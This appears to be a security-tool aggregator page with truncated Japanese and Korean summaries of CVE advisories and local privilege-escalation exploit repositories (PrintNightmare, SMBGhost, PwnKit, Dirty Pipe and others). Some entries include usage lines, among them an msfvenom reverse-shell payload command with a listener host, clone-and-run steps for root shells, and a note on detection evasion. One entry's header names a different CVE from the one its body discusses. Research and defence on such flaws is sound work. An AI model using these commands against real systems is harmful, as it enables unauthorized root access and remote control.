CVE-2026-96448

A flaw was found in the Fine-Grained Admin Permissions FGAP v2 feature of Keycloak, an identity and access management solution. The issue occurs when the system checks if a delegated administrator has permission to assign a specific role to a user. Because the check does not look inside composite...

CVE-2026-93901

The Optima Express IDX plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 8.7.5. This is due to the provisionBlogCredentials function in iHomefinderAdmin.php being reachable via the wpajaxnoprivihfclearcache AJAX action — through the call chain...

CVE-2026-89426

The Knit Pay – Cashfree, Instamojo, Razorpay, PayPal and more plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 9.6.1.0. This is due to the maybeupdateuserrole function reading the target role directly from an attacker-controlled Gravity Forms entry...

NimNightmare

CVE-2021-1675 LPE PoC これは私のエクスプロイトではありません！ただnimのwinimライブラリで遊んでみたかっただけです。 使い方 DLLペイロードを msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll で生成し、攻撃機でハンドラーを起動します。 被害者機で .\nimnightmare.exe を実行し、SYSTEMとしてシェルを取得します。...

SMBGhost-LPE-Metasploit-Module

SMBGhost-LPE-Metasploit-Module これは、CVE-2020-0796（別名SMBGhost）脆弱性の実装であり、Metasploit Frameworkと互換性があります。 注記: このモジュールは、有効なシェルを取得している場合に特権昇格のために使用するためのものです。 ペイロードは変更可能です。カスタムDLLシェルコードを使用したい場合や、何らかの方法でエンコードしたい場合に対応しています。 exeファイルは検出を回避するように編集されており、DLLシェルコードを実行および注入するのに適用できるようになっています。 デモ クレジット エクスプロイトの作者:...

CVE-2021-3156-PATCHER

このシンプルなbashスクリプトは、最近発見されたsudoのヒープオーバーフロー脆弱性を修正します。 以下のコマンドを実行するだけです: git clone https://github.com/elbee-cyber/CVE-2021-3156-PATCHER && cd CVE-2021-3156-PATCHER && sh CVE-2021-3156-patcher.sh このパッチは、あらゆるnixシステムにとって非常に重要です。これを無視すると、低権限ユーザーが権限昇格できてしまいます！すぐにパッチを適用してください！...

polkit-auto-exploit

polkit-auto-exploit Polkit CVE-2021-3560 向け自動エクスプロイト PoC Summary CVE-2021-3560 は polkit における認証バイパスであり、非特権ユーザーが DBus を使用して特権メソッドを呼び出せるようにします。このエクスプロイトでは、accountsservice が提供する 2 つの特権メソッド（CreateUser と SetPassword）を呼び出します。これにより、特権ユーザーを作成してパスワードを設定し、最後に作成したユーザーとしてログインしてから root に権限昇格できます。...

RootPipe-Demo

RootPipe-Demo これは、Emil Kvarnhammar氏（TrueSec）によって特定されたRootPipe権限昇格の脆弱性（CVE-2015-1130）を実証するProof-of-Concept Macアプリケーションです。 このデモはObjective-Cで書かれており、Python PoCから移植されました：RootPipe 使用方法 使用方法：権限を昇格させたいファイルのパスを指定し、そのファイルを権限昇格後にコピーする先のパスを指定し、権限を8進数形式（例：04777）で指定し、オプションでファイルの所有者名とグループを指定します。 対応OS Mac OS X...

CVE-2026-31431-Linux-Copy-Fail

🛡️ CVE-2026-31431-Linux-Copy-Fail - カスタムシェルコードを簡単に実行 📌 プロジェクト概要 このソフトウェアは、LinuxのCVE-2026-31431脆弱性をテストするためのツールを提供します。Rustプログラミング言語を使用してシステムファイルとやり取りします。このプログラムは、対象システム上でカスタムシェルコードを実行することを可能にします。このツールは、セキュリティ研究者が自分のLinux環境がファイルコピーを正しく処理するかどうかを検証するのに役立ちます。Linuxカーネルのコピーメカニズムに見つかった権限昇格の欠陥に焦点を当てています。 ⚙️...

CVE-2014-9322

CVE-2014-9322 리눅스 커널 PoC CVE-2014-9322 일명 BadIRET 리눅스 커널 개념 증명PoC. 이 PoC는 pthread와 같은 라이브러리가 아닌 오직 시스템 콜만 사용합니다. 스레드는 raw Linux 시스템 콜로 구현되었습니다. 시스템 호출을 통한 Raw Linux 스레드 사용법 root@kitploit: $ make badiret.elf 는 ELF 실행 파일입니다. badiret.bin 은 페이로드로 사용할 수 있는 raw 바이너리입니다. 참고 “BadIRET” 취약점 CVE-2014-9322,...

CVE-2022-0847-dirty-pipe-exploit

CVE-2022-0847-dirty-pipe-exploit CVE-2022-0847 dirty-pipe脆弱性のためのエクスプロイト 使用方法 gcc exploit.c -o exploit でコンパイル（gccがインストールされていることを前提） ./exploit を実行すると、rootシェルが起動します 次のようなエラーメッセージが表示された場合、 root としてパスワード cspshivam でログインしてください その後、mv /tmp/passwd.bak /etc/passwd を実行して /etc/passwd を復元してください...

RegPwn

🛠️ RegPwn - Windows ローカルエクスプロイトツール RegPwn は、Windows システム上でローカル権限昇格（LPE）エクスプロイトを実証するために設計されたツールです。Windows 10、Windows 11、および Windows Server バージョンで動作します。このガイドでは、RegPwn を Windows コンピュータに安全かつ効果的にダウンロード、準備、実行する方法を説明します。 📋 始める前に必要なもの RegPwn をダウンロードする前に、システムが次の条件を満たしていることを確認してください: サポートされている Windows...

CVE-2022-25943

CVE-2022-24934 脆弱性の概要 WPS Officeをインストールする際、管理者権限でサービスプログラムwpscloudsvrがインストールされます。このサービスプログラムは手動起動に設定されていますが、サービスプログラムが配置されているフォルダのアクセス制御リスト（ACL）属性が誤って構成されており、通常のUsersグループメンバーでもこのフォルダに対する読み書き権限が残っています。 影響範囲 WPS Officeのバージョンが11.2.0.10258より前のすべてのバージョンにこの脆弱性が存在します。...

CVE-2021-4034

CVE-2021-4034 PwnKit 用 PoC: polkit の pkexec におけるローカル権限昇格の脆弱性（Python） 使用方法 root@kitploit: git clone https://github.com/rvizx/CVE-2021-4034 cd CVE-2021-4034 python3 cve-2021-4034-poc.py 注記 C : https://github.com/arthepsy/CVE-2021-4034 修正 root@kitploit: sudo chmod 0755 /bin/pkexec...

WonderShell

WonderShell - CVE - 2021-44595 | CVE - 2021-44596 発見者 BugSec のセキュリティ研究者である Netanel Cohen と Tomer Peled。 説明 Wondershare Dr.Fone を悪用する POC の例。 Dr.Fone は wondershare が開発したフォントールキットであり、RCE に対して脆弱です。 ネットワークアクセスのみで、SYSTEM ユーザーとしてリモートコードを実行することができます。 脆弱なサービス: InstallAssistService.exe ElevationService.ex...

CVE-2024-40431-CVE-2022-25479-EOP-CHAIN

CVE-2024-40431+CVE-2022-25479 のチェーンによる EOP（データのみ攻撃） ある賢人はかつて「家賃が高すぎる」と言い、「功績は正当に評価すべき」とも言いました。そのような称賛を https://x.com/zwclose に送ります。彼はこれらの2つのバグのPoCを見つけて公開しました。私たち（reubensammut と vlad）は（彼に優しく頼んだ上で）彼のPoCをデータのみ攻撃に微調整し、最終的にEOPに至りました :...

CVE-2025-65817

CVE-2025-65817 フィールド| 値 ---|--- タイトル| 脆弱性レポート: LSCスマートコネクトカメラ 日付| 2024-02-15 説明| SDカードの更新フックを悪用して、LSCスマートコネクトカメラ上でリモートシェルを起動する。 タグ| iot, vulnerability, cve ファームウェア| 1.14.13 LSCスマートコネクトカメラの脆弱性レポート 発見された脆弱性は、startapp.sh の更新システムを悪用するものであり、より正確にはSDカードのマウントと update.nor.sh ファイルを介して悪用されます。 設定変数...

NimbusPWN-CVE-2022-29799-29800

NimbusPwn — networkd-dispatcher !NOTE 他のディストリビューション: dnf install gcc dbus-devel pkgconf（Fedora/RHEL）またはpacman -S gcc dbus pkgconf（Arch）。コンパイル行は同じです。 ⚙️ 使い方 脆弱なホスト上で非特権ユーザーとして実行します。 root@kitploit: ./nimbuspwn -c -s SHELL -c, --check non-breaking vuln check, no exploitation -s, --shell SHELL shell t...

CVE-2020-24030

CVE-2020-24030 説明 ForLogic Qualiex v1 および v3 には、トークンの有効期限が弱いという問題があります。これにより、リモートの未認証ユーザーがトークンを再利用して権限を昇格させ、機密データにアクセスできる可能性があります。 重要日付 ベンダーへの通知: 2020-07-12 公開日: 2020-08-31 脆弱性タイプ 不適切なアクセス制御 製品ベンダー ForLogic 影響を受ける製品コードベース Qualiex - v1 Qualiex - v3 他のバージョンも影響を受ける可能性があります。特に同じファミリーのバージョン（未テスト）...

CVE-2022-22639

詳細 ブログ参照： https://www.trendmicro.com/enus/research/22/d/macos-suhelper-root-privilege-escalation-vulnerability-a-deep-di.html CVE-2022-22639 の悪用 1. 次のコマンドでコンパイル： clang exploit.m -o /tmp/exploit -framework Foundation -fobjc-arc -fobjc-link-runtime...